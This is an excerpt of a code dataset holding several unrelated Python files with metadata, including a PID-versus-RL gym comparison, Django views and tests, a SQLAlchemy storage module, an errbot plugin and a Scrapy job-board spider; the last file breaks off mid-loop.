environment.step(actions)\n\t\tepisode_reward+=reward\n\tip_pid_episode_record.append(episode_reward)\n\n\tenvironment_rl = Environment.create(environment='gym', level='InvertedPendulum-v2')\n\tepisode_reward=0\n\tstates = environment_rl.reset()\n\tterminal=False\n\twhile not terminal:\n\t\tactions, internals = ip_rl.act(states=states, internals=internals, independent=True, deterministic=True)\n\t\tstates, terminal, reward = environment_rl.execute(actions=actions)\n\t\tepisode_reward+=reward\n\tip_rl_episode_record.append(episode_reward)\n\n\ndouble_pid_episode_record=[]\ndouble_rl_episode_record=[]\ndouble_rl = Agent.load(directory='Double_RL', format='numpy')\ninternals = double_rl.initial_internals()\nfor i in range(test_episodes):\n\tkp=[-0.54124971, -3.05534616]\n\tkd=[-0.47012709, -0.70023993]\n\tenvironment_control = gym.make('InvertedDoublePendulum-v2')\n\tepisode_reward=0\n\tstates = environment_control.reset()\n\tterminal=False\n\ttheta_states=[]\n\twhile not terminal:\n\t\tactions_predict=kp[0]*states[0]+kp[1]*states[2]+kd[0]*states[6]+kd[1]*states[7]\n\t\tstates, reward, terminal,info = environment_control.step(actions_predict)\n\t\tepisode_reward+=reward\n\tdouble_pid_episode_record.append(episode_reward)\n\n\tenvironment_rl = Environment.create(environment='gym', level='InvertedDoublePendulum-v2')\n\tepisode_reward=0\n\tstates = environment_rl.reset()\n\tterminal=False\n\twhile not terminal:\n\t\tactions, internals = double_rl.act(states=states, internals=internals, independent=True, deterministic=True)\n\t\tstates, terminal, reward = environment_rl.execute(actions=actions)\n\t\tepisode_reward+=reward\n\tdouble_rl_episode_record.append(episode_reward)\n\n\nhopper_pid_episode_record=[]\nhopper_rl_episode_record=[]\nhopper_rl = Agent.load(directory='Hopper_RL', format='numpy')\ninternals = hopper_rl.initial_internals()\nfor i in range(test_episodes):\n\tthigh_actuator_kp=[-2,-2,-0.5,-1]\n\tthigh_actuator_kd=[-1.6,1, 0.2,-0.4]\n\tleg_actuator_kp=[-0.4,-0.5,-0.1,-0.2]\n\tleg_actuator_kd=[-1,0.2,-1,-0.1]\n\tfoot_actuator_kp=[-2, 1, 0.5, -1]\n\tfoot_actuator_kd=[-0.4,-0.1,-0.1,-0.5]\n\tenvironment = gym.make('Hopper-v3')\n\tepisode_reward=0\n\tstates = environment.reset()\n\tterminal=False\n\twhile not terminal:\n\n\t\trooty=states[1]\n\t\tvelocity_rooty=states[7]\n\n\t\tthigh_angle=states[2]\n\t\tthigh_angular_velocity=states[8]\n\n\t\tleg_angle=states[3]\n\t\tleg_angular_velocity=states[9]\n\n\t\tfoot_angle=states[4]\n\t\tfoot_angular_velocity=states[10]\n\n\t\tthigh_actions = thigh_actuator_kp[0]*rooty+thigh_actuator_kd[0]*velocity_rooty+thigh_actuator_kp[1]*thigh_angle+thigh_actuator_kd[1]*thigh_angular_velocity+thigh_actuator_kp[2]*leg_angle+thigh_actuator_kd[2]*leg_angular_velocity+thigh_actuator_kp[3]*foot_angle+thigh_actuator_kd[3]*foot_angular_velocity\n\t\tleg_actions = leg_actuator_kp[0]*rooty+leg_actuator_kd[0]*velocity_rooty+leg_actuator_kp[1]*thigh_angle+leg_actuator_kd[1]*thigh_angular_velocity+leg_actuator_kp[2]*leg_angle+leg_actuator_kd[2]*leg_angular_velocity+leg_actuator_kp[3]*foot_angle+leg_actuator_kd[3]*foot_angular_velocity\n\t\tfoot_actions = foot_actuator_kp[0]*rooty+foot_actuator_kd[0]*velocity_rooty+foot_actuator_kp[1]*thigh_angle+foot_actuator_kd[1]*thigh_angular_velocity+foot_actuator_kp[2]*leg_angle+foot_actuator_kd[2]*leg_angular_velocity+foot_actuator_kp[3]*foot_angle+foot_actuator_kd[3]*foot_angular_velocity\n\t\tactions=[thigh_actions,leg_actions,foot_actions]\n\t\tstates, reward, terminal,info = environment.step(actions)\n\t\tepisode_reward+=reward\n\thopper_pid_episode_record.append(episode_reward)\n\n\tenvironment_rl = Environment.create(environment='gym', level='Hopper-v3')\n\tepisode_reward=0\n\tstates = environment_rl.reset()\n\tterminal=False\n\twhile not terminal:\n\t\tactions, internals = hopper_rl.act(states=states, internals=internals, independent=True, deterministic=True)\n\t\tstates, terminal, reward = environment_rl.execute(actions=actions)\n\t\tepisode_reward+=reward\n\thopper_rl_episode_record.append(episode_reward)\n\npid_record=[]\nrl_record=[]\n\npid_record.append(np.sum(ip_pid_episode_record)/test_episodes)\npid_record.append(np.sum(double_pid_episode_record)/test_episodes*0.1)\npid_record.append(np.sum(hopper_pid_episode_record)/test_episodes)\n\nrl_record.append(np.sum(ip_rl_episode_record)/test_episodes)\nrl_record.append(np.sum(double_rl_episode_record)/test_episodes*0.1)\nrl_record.append(np.sum(hopper_rl_episode_record)/test_episodes)\n\n# data to plot\nn_groups = 3\n\n# create plot\nfig, ax = plt.subplots()\nindex = np.arange(n_groups)\nbar_width = 0.35\nopacity = 0.8\n\nrects1 = plt.bar(index, pid_record, bar_width,\nalpha=opacity,\ncolor='b',\nlabel='PID Controller')\n\nrects2 = plt.bar(index + bar_width, rl_record, bar_width,\nalpha=opacity,\ncolor='g',\nlabel='RL Agent')\n\nplt.ylabel('Scores')\nplt.xticks(index + bar_width, ('Inverted Pendulum', 'Double Inverted Pendulum', 'Hopper'))\nplt.legend(bbox_to_anchor=(0., 1.02, 1., .102), loc='center left',shadow=True, borderaxespad=0)\nplt.tight_layout()\nplt.savefig('PIDvsRL.png')\n","sub_path":"PIDvsRL/PIDvsRL.py","file_name":"PIDvsRL.py","file_ext":"py","file_size_in_byte":5462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"327770790","text":"import socket\nfrom threading import Thread\n\nfrom handle import Handler\nfrom util import utillib, log\n\ncommand_socket = ()\nhandler = Handler()\n\n\ndef data_ipc_connect(ipc_sock_path: str):\n \"\"\"Подключение к IPC сокету данных.\n\n :param ipc_sock_path: путь к сокету.\n \"\"\"\n while True:\n channel = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n try:\n if handler.KILLED is True:\n break\n channel.connect(ipc_sock_path)\n except (ConnectionRefusedError, FileNotFoundError):\n continue\n\n while True:\n msg = channel.recv(1024)\n if msg:\n msg = msg.decode()\n print(\"Unix socket {0}:\".format(ipc_sock_path), msg)\n handler.add_new_data(msg)\n else:\n channel.close()\n break\n\n\ndef data_tcp_connect(address):\n \"\"\"Подключение к TCP сокету данных.\n\n :param address: адрес сокета данных.\n \"\"\"\n host, port = utillib.get_host_port(address)\n while True:\n channel = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n try:\n if handler.KILLED is True:\n break\n channel.connect((host, port))\n except ConnectionRefusedError:\n continue\n\n while True:\n msg = channel.recv(1024)\n if msg:\n msg = msg.decode()\n log.get_logger().debug(\"TCP socket {0}: {1}\".format(address, msg))\n handler.add_new_data(msg)\n else:\n channel.close()\n break\n\n\ndef connect_command_socket():\n \"\"\"Подключение к командному сокету.\n \"\"\"\n while True:\n channel = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n try:\n if handler.KILLED is True:\n break\n channel.connect(command_socket)\n except ConnectionRefusedError:\n continue\n\n while True:\n msg = channel.recv(1024)\n if msg:\n msg = msg.decode()\n log.get_logger().debug(\"Command socket: {}\".format(msg))\n handler.handle_command(channel, msg)\n else:\n channel.close()\n break\n\n\ndef ipc_connect_all(ipc_sock_paths: list):\n \"\"\"Подключение к списку IPC сокетов.\n\n :param ipc_sock_paths:\n \"\"\"\n for sock in ipc_sock_paths:\n thread = Thread(target=data_ipc_connect, args=(sock,))\n thread.start()\n\n\ndef tcp_connect_all(addresses: list):\n \"\"\"Подключение к списку TCP сокетов.\n\n :param addresses:\n \"\"\"\n for addr in addresses:\n thread = Thread(target=data_tcp_connect, args=(addr,))\n thread.start()\n","sub_path":"receive.py","file_name":"receive.py","file_ext":"py","file_size_in_byte":2867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"335984654","text":"from django import forms\nfrom django.core.exceptions import ValidationError\n\n\n\nclass BasicBotConversationForm(forms.Form):\n\n usertext=forms.CharField(\n widget=forms.Textarea(attrs={'class': 'form-control','placeholder':'Speak Up!','rows':'5','autofocus':'autofocus'}),\n max_length=200,\n required=False,\n )\n\n bottext=forms.CharField(\n widget=forms.Textarea(attrs={'class': 'form-control','rows':'5','readonly':'readonly'}),\n max_length=200,\n required=False,\n )\n def __init__(self, *args, **kwargs):\n super(BasicBotConversationForm, self).__init__(*args, **kwargs)\n\n\n def clean(self):\n super(BasicBotConversationForm, self).clean()\n\n utx=self.cleaned_data.get('usertext')\n btx=self.cleaned_data.get('bottext')\n\n if not utx:\n raise forms.ValidationError(\"Say something first!\")\n\n\n return self.cleaned_data\n","sub_path":"core_nlp/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"214570134","text":"import unittest\n\nimport mock\nfrom django.core.management.color import no_style\nfrom django.db import connection, models\nfrom django.db.backends.base.schema import BaseDatabaseSchemaEditor\n\nfrom .models import TestModel\n\n\nclass DatabaseSQLMixin(object):\n def remove_whitespace(self, statement):\n return ' '.join(str(statement).replace('\\n', '').split())\n\n def assertQueryEqual(self, query1, query2):\n self.assertEqual(self.remove_whitespace(query1), self.remove_whitespace(query2))\n\n\nclass TestCreation(DatabaseSQLMixin, unittest.TestCase):\n style = no_style()\n\n @mock.patch.object(BaseDatabaseSchemaEditor, 'execute')\n def test_create_table(self, mock_execute):\n expected_statements = [\n (((\n 'CREATE COLUMN TABLE \"TEST_DHP_TESTMODEL\" ('\n '\"ID\" integer NOT NULL PRIMARY KEY, \"FIELD\" nvarchar(100) NOT NULL)'\n ), None),),\n (((\n 'CREATE SEQUENCE \"TEST_DHP_TESTMODEL_ID_SEQ\" '\n 'RESET BY SELECT IFNULL(MAX(\"ID\"),0) + 1 FROM \"TEST_DHP_TESTMODEL\"'\n ),),),\n ]\n\n with connection.schema_editor() as editor:\n editor.create_model(TestModel)\n self.assertEqual(mock_execute.call_args_list, expected_statements)\n\n @mock.patch.object(BaseDatabaseSchemaEditor, 'execute')\n def test_add_column_default_value(self, mock_execute):\n expected_statements = [\n (((\n 'ALTER TABLE \"TEST_DHP_TESTMODEL\" '\n 'ADD (\"NEW_CHAR_FIELD\" nvarchar(50) DEFAULT \"default_value\" NOT NULL)'\n ), []),),\n (((\n 'ALTER TABLE \"TEST_DHP_TESTMODEL\" '\n 'ALTER (\"NEW_CHAR_FIELD\" nvarchar(50) DEFAULT \"default_value\" NOT NULL)'\n ),),),\n ]\n\n with connection.schema_editor() as editor:\n field = models.CharField(max_length=50, default='default_value')\n field.set_attributes_from_name('new_char_field')\n editor.add_field(TestModel, field)\n self.assertEqual(mock_execute.call_args_list, expected_statements)\n\nclass TestWrite(DatabaseSQLMixin, unittest.TestCase):\n style = no_style()\n \n @mock.patch.object(TestModel, 'save')\n def test_insert_into(self, mock_execute):\n expected_statement = (\n (\n ('INSERT INTO \"TEST_DHP_TESTMODEL\" (id, \"FIELD\") '\n 'VALUES (test_dhp_testmodel_id_seq.nextval, %s)'),\n ('field1')),\n ['field1'],\n )\n queryset = TestModel(field='field1')\n queryset.save()\n self.assertEqual(mock_execute.call_args_list, expected_statement)\n \n\nclass TestSelection(DatabaseSQLMixin, unittest.TestCase):\n\n def test_select_model(self):\n expected = (\n 'SELECT \"TEST_DHP_TESTMODEL\".\"ID\", \"TEST_DHP_TESTMODEL\".\"FIELD\" '\n 'FROM \"TEST_DHP_TESTMODEL\"'\n )\n\n qs = TestModel.objects.all()\n self.assertQueryEqual(qs.query, expected)\n","sub_path":"tests/test_queries.py","file_name":"test_queries.py","file_ext":"py","file_size_in_byte":2990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"232801235","text":"#\n# -------------------------------------------------------------------------\n#\n# Part of the CodeChecker project, under the Apache License v2.0 with\n# LLVM Exceptions. See LICENSE for license information.\n# SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n#\n# -------------------------------------------------------------------------\n\n\"\"\" $TEST_NAME$ function test.\n\nWARNING!!!\nThis is a generated test skeleton remove the parts not required by the tests.\nWARNING!!!\n\n\"\"\"\n\n\nimport os\nimport unittest\n\nfrom libtest import env\n\n\nclass TestSkeleton(unittest.TestCase):\n\n _ccClient = None\n\n def setUp(self):\n \"\"\"\n WARNING!!!\n This is an example how to get the configurations needed by the tests.\n WARNING!!!\n \"\"\"\n\n # TEST_WORKSPACE is automatically set by test package __init__.py .\n test_workspace = os.environ['TEST_WORKSPACE']\n\n test_class = self.__class__.__name__\n print('Running ' + test_class + ' tests in ' + test_workspace)\n\n # Get the test configuration from the prepared int the test workspace.\n test_cfg = env.import_test_cfg(test_workspace)\n\n # Get the test project configuration from the prepared test workspace.\n self._testproject_data = env.setup_test_proj_cfg(test_workspace)\n self.assertIsNotNone(self._testproject_data)\n\n # Setup a viewer client to test viewer API calls.\n self._cc_client = env.setup_viewer_client(test_workspace)\n self.assertIsNotNone(self._cc_client)\n\n # Get the CodeChecker cmd if needed for the tests.\n self._codechecker_cmd = env.codechecker_cmd()\n\n # Get the run names which belong to this test.\n run_names = env.get_run_names(test_workspace)\n\n runs = self._cc_client.getRunData(None, None, 0, None)\n test_runs = [run for run in runs if run.name in run_names]\n\n def test_skel(self):\n \"\"\"\n Test some feature.\n \"\"\"\n pass\n","sub_path":"web/tests/functional/func_template/template_test.py","file_name":"template_test.py","file_ext":"py","file_size_in_byte":1966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"142930913","text":"import re\nfrom urllib import request\n\nprefix = \"http://www.pythonchallenge.com/pc/def/linkedlist.php?nothing=\"\nfindnothing = re.compile(r\"nothing is (\\d+)\")\n#nothing = '12345' #第一处,输出b'Yes. Divide by two and keep going.'\nnothing = '8022'#第二处,最后输出b'peak.html'\nwhile True:\n text = request.urlopen(prefix + nothing).read()\n text=text.decode('utf-8') #python3\n if findnothing.findall(text):\n \tnothing=''.join(findnothing.findall(text))#join变成字符串\n \tprint('going to %s'%nothing)\n else:\n \tbreak\n\ntext = request.urlopen(prefix + nothing).read()\nprint(text)","sub_path":"solutions/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"609166024","text":"import re\n\nfrom errbot import BotPlugin, re_botcmd\n\n\nclass The_rules(BotPlugin):\n \"\"\"\n List the bot rules\n \"\"\"\n\n RULES = [\n 'A robot may not harm humanity, or, by inaction, allow humanity to '\n 'come to harm.',\n 'A robot may not injure a human being or, through inaction, allow '\n 'a human being to come to harm.',\n 'A robot must obey any orders given to it by human beings, except '\n 'where such orders would conflict with the First Law.',\n 'A robot must protect its own existence as long as such protection '\n 'does not conflict with the First or Second Law.'\n ]\n\n @re_botcmd(pattern=r'the\\s+rules',\n re_cmd_name_help='the rules',\n flags=re.IGNORECASE)\n def the_rules(self, msg, args):\n \"\"\"\n Show the bot rules.\n \"\"\"\n return '\\n'.join(str(i) + '. ' + j for i, j in enumerate(self.RULES))\n","sub_path":"plugins/the_rules.py","file_name":"the_rules.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"548496300","text":"from ..cases import CongestionSimulator, CongestionProblem\n\nfrom octras.algorithms import Opdyts\nfrom octras import Loop, Evaluator\n\nimport pytest\nimport numpy as np\n\ndef test_opdyts():\n loop = Loop()\n\n evaluator = Evaluator(\n simulator = CongestionSimulator(),\n problem = CongestionProblem(0.3, iterations = 10)\n )\n\n algorithm = Opdyts(evaluator,\n candidate_set_size = 16,\n number_of_transitions = 20,\n perturbation_length = 50,\n seed = 0\n )\n\n assert np.round(Loop(threshold = 1e-3, maximum_cost = 10000).run(\n evaluator = evaluator,\n algorithm = algorithm\n )) == 231\n","sub_path":"tests/algorithms/test_opdyts.py","file_name":"test_opdyts.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"625163284","text":"import json, re\nimport logging\nimport logging.config\n\nfrom datetime import datetime\nimport pytz\t\n\nfrom enum import IntEnum, Enum, unique\n\nfrom sqlalchemy import create_engine, inspect, Column, String, Integer, DateTime, ForeignKey\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy.sql import func\n\nlog = logging.getLogger(__name__)\n\nBase = declarative_base()\n\n\n\nclass PersonStorage(object):\n\tid = Column(String(128), primary_key=True, index=True)\n\tnickname = Column(String(128))\n\tlastaction_ts = Column(DateTime, onupdate=func.now(), index=True)\n\n\tdef __init__(self, id, nickname):\n\t\tself.id = id\n\t\tself.nickname = nickname\n\n\nclass GuestStorage(PersonStorage, Base):\n\t__tablename__ = 'Guest'\n\n\n\n\n\n@unique\nclass PersonJoinStatus(IntEnum):\n\t# Join Status \n\tPENDING = 3\n\tBLOCKED = 2\n\tMEMBER = 1\n\tUNKNOWN = 0\n\n\n@unique\nclass PersonAdminStatus(IntEnum):\n\t# admin Status \n\tUNKNOWN = 0\n\tMEMBER = 1\n\tADMIN = 2\n\tCREATOR = 3\n\n@unique\nclass PersonSpeakStatus(IntEnum):\n\t# mute Status \n\tUNKNOWN = 0\n\tSPEAKS = 1\n\tMUTED = 2\n\n\n\n\nclass WhoiswhereStorage(Base):\n\t__tablename__ = 'Whoiswhere'\n\n\n\n\tuid = Column(String(128), primary_key=True)\n\tcid = Column(String(128), ForeignKey('Party.id'), primary_key=True)\n\n\tfirsttime_ts = Column(DateTime, server_default=func.now(), index=True)\n\tlastaction_ts = Column(DateTime, onupdate=func.now(), index=True)\n\tadminstatus = Column(Integer, default=PersonAdminStatus.UNKNOWN)\n\tjoinstatus = Column(Integer, default=PersonJoinStatus.UNKNOWN)\n\n\tmutestatus = Column(Integer, default=PersonSpeakStatus.UNKNOWN)\n\tmutewarningcount = Column(Integer, default=0)\n\tlastmutewarning_ts = Column(DateTime)\n\n\tdef __init__(self, uid, cid, adminstatus=PersonAdminStatus.UNKNOWN, joinstatus=PersonJoinStatus.UNKNOWN, mutestatus=PersonSpeakStatus.UNKNOWN):\n\t\tself.uid = uid\n\t\tself.cid = cid\n\t\tself.adminstatus = adminstatus\n\t\tself.joinstatus = joinstatus\n\t\tself.mutestatus = mutestatus\n\t\tself.lastaction_ts = datetime.utcnow()\n\t\tself.firsttime_ts = datetime.utcnow()\n\n\t\tself.languagewarning_ts = datetime.fromtimestamp(0)\n\t\tself.mutewarningcount = 0\n\t\tself.behaviourwarning_ts = datetime.fromtimestamp(0)\n\n\n\n\nclass Storage():\n\n\tdef __init__(self):\n\t\tlog.debug('Opening session db')\n\t\tengine = create_engine('sqlite:///db/paquebot.db')\n\t\tSession = sessionmaker(bind=engine)\n\t\tBase.metadata.create_all(engine)\n\t\tself.paquebot_db = Session()\n\n\tdef close(self):\n\t\tlog.debug('Closing db')\n\t\tself.paquebot_db.close()\n\n\n\tdef get_crewmember(self, Uid):\n\t\tlog.debug('get_crewmember %s'%(Uid))\n\t\treturn self.paquebot_db.query(CrewManStorage).filter(CrewManStorage.id == Uid).first()\n\n\n\tdef add_whoiswhere(self, uid, cid, joinstatus=PersonJoinStatus.UNKNOWN, adminstatus=PersonJoinStatus.UNKNOWN, mutestatus=PersonSpeakStatus.UNKNOWN):\n\t\tlog.debug('Adding an entry into whoiswhere')\n\n\t\tif self.paquebot_db.query(WhoiswhereStorage).filter(WhoiswhereStorage.cid == cid and WhoiswhereStorage.uid == uid).count() == 0:\n\t\t\tnewwisw = WhoiswhereStorage(uid, cid, joinstatus=joinstatus, adminstatus=adminstatus, mutestatus=mutestatus)\n\n\t\t\tself.paquebot_db.add(newwisw)\n\t\t\tself.paquebot_db.commit()\n\n\t\telse:\n\t\t\t# we should refresh data\n\t\t\twiw = self.paquebot_db.query(WhoiswhereStorage).filter(WhoiswhereStorage.cid == cid and WhoiswhereStorage.uid == uid).first()\n\t\t\twiw.joinstatus = joinstatus\n\t\t\twiw.adminstatus = adminstatus\n\t\t\twiw.mutestatus = mutestatus\n\t\t\t# wiw.lastaction_ts = timezone.utcnow()\n\n\t\t\t#self.paquebot_db.update(newwisw)\n\t\t\tself.paquebot_db.commit()\n\n\t\treturn True\n\n\tdef touch_whoiswhere(self, uid, cid):\n\n\t\tlog.debug('Touching an entry into whoiswhere')\n\n\t\tif self.paquebot_db.query(WhoiswhereStorage).filter(WhoiswhereStorage.cid == cid and WhoiswhereStorage.uid == uid).count() == 0:\n\t\t\tlog.debug('Creating the entry in whoiswhere')\n\n\t\t\t# We should add en ebtry\n\t\t\tnewwisw = WhoiswhereStorage(uid, cid)\n\n\t\t\tself.paquebot_db.add(newwisw)\n\t\t\tself.paquebot_db.commit()\n\t\t\treturn True\n\n\t\telse:\n\t\t\t# entry update\n\t\t\tlog.debug('Update the entry in whoiswhere')\n\n\t\t\twiw = self.paquebot_db.query(WhoiswhereStorage).filter(WhoiswhereStorage.cid == cid and WhoiswhereStorage.uid == uid).first()\n\t\t\tif wiw is not None:\n\t\t\t\t#wiw.lastaction_ts = timezone.utcnow()\n\t\t\t\t#self.paquebot_db.update(wiw)\n\t\t\t\tself.paquebot_db.commit()\n\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\tlog.debug('Something gets wrong')\n\t\t\t\treturn False\n\n\n\n\tdef get_whoisiswhereperseaman(self, uid):\n\t\tlog.debug('Get entry from whoiswhere')\n\t\tpass\n\n\tdef get_whoisiswhereperparty(self, uid):\n\t\tlog.debug('Get entries from whoiswhere')\n\t\tpass\n\n\n\tdef del_whoiswhere(self, uid, cid):\n\t\tlog.debug('Deleting an entry in whoiswhere')\n\t\tpass\n\n\ndef load_crewman(db, Uid):\n\tlog.debug('DB: gettin crewman %s'%(Uid))\n\treturn db.paquebot_db.query(CrewManStorage).filter(CrewManStorage.id == Uid).first()\n\n\ndef store_crewman(db, crewman):\n\tlog.debug('DB: storing crew %s'%(crewman.id))\n\n\tif db.paquebot_db.query(CrewManStorage).filter(CrewManStorage.id == crewman.id).count() > 0:\n\t\tlog.debug('Crew %s found in DB, updating it'%crewman.id)\n\n\t\tstored_crewman = db.paquebot_db.query(CrewManStorage).filter(CrewManStorage.id == crewman.id).first()\n\t\tstored_crewman = party\n\t\tdb.paquebot_db.commit()\n\n\telse:\n\t\tlog.debug('Creating a new row for crewman %s'%crewman.id)\n\n\t\tdb.paquebot_db.add(crewman)\n\t\tdb.paquebot_db.commit()\n\treturn True\n\n\ndef list_crewmembers(db):\n\tlog.debug('DB: listing crewmembers')\n\treturn db.paquebot_db.query(CrewManStorage).all()\n","sub_path":"paquebot_db.py","file_name":"paquebot_db.py","file_ext":"py","file_size_in_byte":5449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"424909038","text":"import django.contrib.auth as auth\nfrom django.shortcuts import render, redirect\nfrom django.views.decorators.debug import sensitive_post_parameters\nfrom django.contrib.auth.decorators import login_required\nimport django.contrib.auth.views as authviews\nfrom core.views.dashboard import *\nfrom opticon.globalstrings import *\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\n\n# a call to '/' - the root page\n@sensitive_post_parameters() # do not show entered passwords in debug view\ndef index(request):\n\tgs = Globalstrings()\n\t# if the user is authenticated, show the dashboard\n\tif request.user.is_authenticated():\n\t\treturn redirect('/dashboard')\n\n\t# otherwise pass request into the djange default login view\n\treturn authviews.login(\n\t\trequest, \n\t\t'core/login.html',\n\t\textra_context={\n\t\t\t'login': gs.login,\n\t\t\t'reset': gs.reset_password,\n\t\t}\n\t)\n\n@login_required\ndef manage(request):\n\tif request.user.has_perm('core.change_employee'):\n\t\treturn redirect('/manage/employees/')\n\telif request.user.has_perm('auth.change_user'):\n\t\treturn redirect('/manage/users/')\n\telse:\n\t\treturn redirect('/dashboard/')\n\ndef datapolicy(request):\n\tgs = Globalstrings()\n\treturn render(\n\t\trequest, \n\t\t'core/datapolicy.html',\n\t\t{\n\t\t\t'headline': gs.datapolicy,\n\t\t\t'text': gs.datapolicy_text,\n\t\t}\n\t)\n\ndef agb(request):\n\tgs = Globalstrings()\n\treturn render(\n\t\trequest, \n\t\t'core/datapolicy.html',\n\t\t{\n\t\t\t'headline': gs.agb,\n\t\t\t'text': gs.agb_text,\n\t\t}\n\t)\n\ndef custom_404(request):\n\tgs = Globalstrings()\n\treturn render_to_response('core/404.html', RequestContext(request, {\n\t\t'errorcode': gs.errorcode_404,\n\t\t'headline': gs.errorcode_404_headline,\n\t\t'text1': gs.errorcode_404_text1,\n\t\t'text2': gs.errorcode_404_text2,\n\t\t'text3': gs.errorcode_404_text3,\n\t\t'text4': gs.errorcode_404_text4,\n\t\t'email': 'support@opticon.de',\n\t}))\n\ndef custom_500(request):\n\tgs = Globalstrings()\n\treturn render_to_response('core/500.html', RequestContext(request, {\n\t\t'errorcode': gs.errorcode_500,\n\t\t'headline': gs.errorcode_500_headline,\n\t\t'text1': gs.errorcode_500_text1,\n\t\t'text2': gs.errorcode_500_text2,\n\t\t'text3': gs.errorcode_500_text3,\n\t\t'text4': gs.errorcode_500_text4,\n\t\t'email': 'support@opticon.de',\n\t}))\n\ndef redirect_group_switch(request, order_id, usergroup_id):\n\t# 1 = User administration\n\t# 2 = Company\n\t# 3 = Guard\n\t# 4 = Building Owner\n\t# 5 = Logistician\n\t# 6 = Waste organizer\n\t# 7 = Administrator\n\t\n\tif int(usergroup_id) == 2:\n\t\treturn redirect('/site/' + order_id + '/company/')\n\telif int(usergroup_id) == 3:\n\t\treturn redirect('/site/' + order_id + '/guard/')\n\telse:\n\t\treturn redirect('/site/' + order_id)","sub_path":"opticon/core/views/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":2615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"233912030","text":"\"\"\"\nThis spider is a Abudhabi spider created on top of the ATSSpider\nscrapy crawl abudhabi -a mining_job_id=9999 -a iteration=1 -a extract=1 -a url=\"https://jobs.abudhabi.ae/en/job-search-results/?keyword=\"\n\nsample url:\nhttps://jobs.abudhabi.ae/en/job-search-results/?keyword=\n\"\"\"\n\nfrom re import compile\nfrom scrapy.http import Request\nfrom scrapy.selector import Selector\nfrom urlparse import urljoin\nfrom brightcorp.base.atsspiders import ATSSpider\nfrom brightcorp.items import BrightcorpItemLoader\nfrom brightcorp.processors import Prefix, ConvertDateString\nfrom brightcorp.lib.utils import extract_first\n\n\nclass Abudhabi(ATSSpider):\n\n name = \"abudhabi\"\n ref_re = compile(r\"(\\d+)\\/\")\n\n def parse(self, response):\n sel = Selector(response)\n if not self.expected_job_count_set:\n job_count = extract_first(sel.xpath(\n '//p[@class=\"pg overflow-h\"]/span[@class=\"l\"]/b[last()]/text()'\n ))\n if job_count:\n self.expected_job_count = job_count\n\n jobs = sel.xpath('//div[contains(@class, \"jobresults\")]')\n for job in jobs:\n job_url = job.xpath('.//a[@id=\"Job_Title\"]/@href').extract()\n if job_url:\n job_url = urljoin(response.url, job_url[0])\n meta = {\n 'title': job.xpath(\n './/span[@id=\"job_title_span\"]/text()'\n ).extract(),\n 'loc': job.xpath(\n './/span[@itemprop=\"jobLocation\"]/text()'\n ).extract(),\n 'company': job.xpath(\n './/span[@itemprop=\"hiringOrganization\"]/text()'\n ).extract(),\n 'logo_url': job.xpath(\n './span[@class=\"r\"]/img/@src'\n ).extract(),\n 'date': job.xpath(\n './/span[@itemprop=\"datePosted\"]/text()'\n ).extract(),\n }\n yield Request(\n job_url, meta=meta, callback=self.parse_job_callback()\n )\n\n next_url = extract_first(sel.xpath('//a[@class=\"page_arrow\"]/@href'))\n if next_url:\n next_url = urljoin(response.url, next_url)\n yield Request(next_url, callback=self.parse)\n\n def parse_job(self, response):\n loader = BrightcorpItemLoader(response=response)\n\n loader.add_value('url', response.url)\n loader.add_value('title', response.meta['title'])\n loader.add_value('location', response.meta['loc'])\n loader.add_value('company', response.meta['company'])\n loader.add_value('logo_url', response.meta['logo_url'])\n loader.add_value(\n 'date', response.meta['date'], ConvertDateString('%Y-%m-%d')\n )\n loader.add_value(\n 'referencenumber', response.url,\n Prefix('%s-' % self.name), re=self.ref_re\n )\n\n loader.add_xpath(\n 'description',\n '//div[@id=\"main_content\"]/h2/following-sibling::node()[not(self::div[@id=\"job_ajax_facebook\"])]'\n )\n loader.add_xpath(\n 'jobtype',\n '//li[strong[text()=\"Employment Status:\"]]/text()'\n )\n loader.add_xpath(\n 'experiencerequirements',\n '//li[strong[text()=\"Years of Experience:\"]]'\n )\n loader.add_xpath(\n 'educationrequirements',\n '//li[strong[text()=\"Degree:\"]]/text()'\n )\n loader.add_xpath(\n 'jobcategory',\n '//li[strong[text()=\"Job Role:\"]]/text()'\n )\n\n yield loader.load_item()\n","sub_path":"brightcorp/brightcorp/spiders/abudhabi.py","file_name":"abudhabi.py","file_ext":"py","file_size_in_byte":3696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"174805733","text":"\n\ndef parser(input_txt_file):\n '''\n Takes a .txt file and returns an array with each elemnt to be that of a line\n '''\n with open(input_txt_file,'r') as ff:\n a = ff.read()\n blacklist = [',','.','?','!','(',')',';','’','\"','--','-',' ','\\t']\n for item in blacklist:\n a = a.replace(item,'')\n res = a.split(\"\\n\")\n return res\n\ndata = parser(\"data.txt\")\n#brute force - I can not see any possibility for optimization -\nfor i in range(len(data)):\n for j in 